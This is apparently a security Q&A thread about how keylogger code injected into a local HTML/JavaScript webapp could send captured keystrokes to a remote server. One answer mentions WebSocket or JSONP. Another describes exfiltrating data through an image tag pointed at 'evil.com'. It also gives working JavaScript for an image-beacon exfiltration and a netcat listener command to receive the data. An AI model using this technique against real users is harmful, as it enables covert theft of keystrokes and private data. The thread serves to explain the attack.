0

For a client-side only webapp run from file, how can a keylogger gather data and then transmit it?

In this scenario, please limit the scope to the client code only, that an attacker somehow has injected code. Vulnerabilities outside of the browser is out of scope. There is no flash or java in the original code, and please assume that the client has flash disabled and does not permit java to execute. All original code is HTML, CSS, and JavaScript. There are some web-safe images such as those supplied with jQuery.

It seems to me that it can easily be read via a JavaScript code snippet, but how can it be transmitted? Websockets only?

2

I am not sure if I understand the question or not. But it happen that in my work, we wrote several javascript keystroke logger for keystroke biometrics. where the collected events (key-up/keydown) are sent to another server that not hosting the key logger script.

We do it either using Web Socket as you suggested or using JSONP

1

It sounds like you are trying to get around the same origin policy. You can't transmit data from a webpage opened with the file:// protocol using AJAX. However, one way to do it (there are probably others) is to add an image tag to the page with src="http://evil.com/receive?data=<data>" and insert your keylogger data in <data>. This will force the browser to make a GET request to http://evil.com/receive with your data in the get parameter data.

Edit:

Here's an example:

<script>
var data = 'Hello!';
var img = document.createElement('img');
img.setAttribute('src', 'http://localhost:2000/test.php?data='+encodeURIComponent(data))
document.body.appendChild(img);
</script>

You can test it by running a local web server or netcat on port 2000:

netcat -lp 2000

When I open the file in a browser I see the headers sent:

GET /test.php?data=Hello! HTTP/1.1
Host: localhost:2000
User-Agent: <redacted>
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: keep-alive

From this you can extract the data in the data parameter.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy